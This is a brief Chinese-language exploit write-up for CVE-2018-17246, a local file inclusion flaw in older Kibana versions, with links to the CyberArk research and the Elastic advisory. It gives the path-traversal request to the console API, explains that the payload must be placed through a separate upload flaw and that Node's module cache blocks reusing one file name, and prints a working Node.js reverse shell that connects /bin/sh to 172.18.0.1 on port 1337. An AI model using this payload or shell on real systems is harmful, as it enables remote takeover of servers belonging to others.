
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
由 CyberArk Labs 发现的 Kibana 本地文件包含(LFI)漏洞,该 LFI 可通过以下有效载荷在 Kibana 服务器上执行反向 Shell:
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../path/to/shell.js
正如您已经猜到的那样,此攻击需要与不受限制的文件上传或任何其他允许您在服务器上写入文件的漏洞配合使用。
由于没有输入验证,我们可以将 JavaScript 文件的名称更改为我们想要的任何名称。在这种情况下,利用路径遍历技术,我们可以选择 Kibana 服务器上的任何文件。 然而,需要注意的一点是 node 的模块缓存功能。本质上,由于 LFI 的工作原理是将未经过滤的用户输入发送给 node 的
require函数,因此所包含的模块(攻击者的有效载荷)将_按文件名_进行缓存。这意味着您不能发送相同的有效载荷来(例如)恢复反向 Shell。

漏洞详情:https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
安全公告:https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();